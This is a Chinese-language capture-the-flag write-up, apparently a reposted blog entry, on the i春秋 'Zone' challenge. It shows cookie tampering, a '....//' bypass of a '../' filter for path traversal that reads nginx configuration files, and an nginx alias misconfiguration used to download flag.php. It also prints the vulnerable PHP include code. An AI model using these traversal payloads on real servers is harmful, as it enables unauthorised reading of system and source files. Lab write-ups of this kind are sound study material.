2020.09.20
經驗教訓
- nginx服務器的組態檔是nginx.conf,存盤路徑為
./etc/nginx/nginx.conf; - 一般服務器存放路徑為
/var/www/html/; - nginx.conf檔案中,可以通過include其他路徑檔案來參考其他檔案包含的配置,比如
include sites-enabled/default;,這樣做是為了把一些配置進行分類,方便在需要的時候快速啟動或者關閉,這些路徑是可變的,管理員可以自行設定; - nginx.conf檔案中,如果配置了
autoindex on;,那么說明這個路徑可以進行瀏覽目錄下載檔案,例如location /online-movies { alias /movie/; autoindex on; }中,location /online-movies路徑就可以瀏覽目錄下載檔案,全路徑一般是/etc/nginx/location/online-movies; - 檔案遍歷是指的一個目錄,可以直接進行訪問;
- 開啟檔案遍歷權限的路徑,在路徑后邊添加檔案的相對路徑就可以下載到檔案,在可視化界面訪問不到的檔案也可以進行下載,比如
/var/www/html/flag.php
Zone
https://www.ichunqiu.com/battalion

-
點擊鏈接,蹦出來提示框要求登陸,點擊后蹦到login.php,測驗是否存在sql注入,但是提交顯示網站正在建設中,查看原始碼,沒有資訊,查看訊息頭,發現資訊

-
嘗試修改login值,login=1時訪問首頁能成功

-
點擊跳轉到admin.php界面,嘗試修改module為flag,得到一個資訊,是否可以burp爆破一下module值

-
我試了,但是我ip好像被禁了……方向不對,看了wp才知道原來是這么回事,哈哈哈,module是檔案名,路徑,name是后綴,明白了,接下來在這個頁面
manages/admin.php進行測驗-
?module=index.php&name=,頁面回傳成功,說明猜想正確,是兩個引數拼接而成的檔案訪問,頁面輸出的是檔案內容 -
?module=php://input&name=,本來想試試檔案包含漏洞,但是好像不好用,或許是我測驗的姿勢不對,有明白的老鐵歡迎給我指出錯誤

-
?module=robots.txt&name=,成功回傳檔案內容,發現flag.php -
?module=flag.php&name=,檔案內容是騙人的吧

-
?module=.htaccess&name=,沒東西 -
?module=ind../ex.php&name=,回傳正常,說明../被過濾了 -
?module=ind....//ex.php&name=,回傳空白,說明可以繞過 -
一般服務器存放路徑為
/var/www/html/,nginx服務器的組態檔是nginx.conf,存盤路徑為./etc/nginx/nginx.conf;所以構造下面payload -
?module=....//....//....//etc/nginx/nginx.conf&name=,回傳nginx.conf檔案,檔案大多數被注釋了,只有最后一行提供了資訊include sites-enabled/default;,告訴我們存在sites-enabled/default目錄

-
?module=....//....//....//etc/nginx/sites-enabled/default&name=,訪問上一步得到的新路徑,得到新線索

-
上一步獲取的檔案的最后一行
location /online-movies { alias /movie/; autoindex on; },說明location/online-movies這個路徑可以瀏覽下載檔案,我們訪問試試; -
/online-movies,直接進行檔案遍歷,我一開始以為還跟上邊一樣payload請求,沒想到是直接就能訪問到這個目錄

-
/online-movies../var/www/html/flag.php,成功下載到flag.php

-
打開獲得flag
flag{8f7180b7-6e14-4e66-b069-cfab88fcc7f7}

-
這地方又個小插曲,就是我在/online-movies/回傳的可視界面上,點擊html顯示的是下載一個檔案,并不能進入到目錄里邊去,但是用上面的url卻可以直接訪問到html/flag.php,我感覺很神奇……
-
-
既然我們能下載到原始碼,那么就趁此機會學習一下出題人是怎么寫的代碼??
/online-movies../var/www/html/index.php,我取了里邊比較有用的一些代碼貼出來,事實證明index.php就是我在可視界面點擊html下載到的那個檔案;
<?php
header("content-text:text/html;charset=gbk");
if(!isset($_COOKIE['login']))
setcookie("login", "0");
if(!isset($_COOKIE['login']) || $_COOKIE['login'] !== '1')
die("<script>alert('You need to log in!');location.href='https://www.cnblogs.com/qiaowukong/p/login.php';</script>");
?>
- `manages/admin.php`,從中我們可以發現,代碼只對php檔案添加了`.php`其他的直接放空了……他這里include不可以用檔案包含漏洞嗎??明天想起來的話查證一下,估計是想不起來了??
<?php
header("content-text:text/html;charset=gbk");
if(!isset($_COOKIE['login']))
setcookie("login", "0");
if( !isset($_COOKIE['login']) || $_COOKIE['login'] !== '1')
die("<script>alert('You need to log in!');location.href='https://www.cnblogs.com/login.php';</script>");
if (!isset($_GET['module']) || !isset($_GET['name']))
header("Location: admin.php?module=index&name=php");
?>
<?php
$ext = $_GET['name'];
if ($ext === 'php') {
$ext = ".".$ext;
}else{
$ext = '';
}
include "/var/www/html/".str_replace("../","",$_GET['module']).$ext;
?>
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/94390.html
標籤:其他
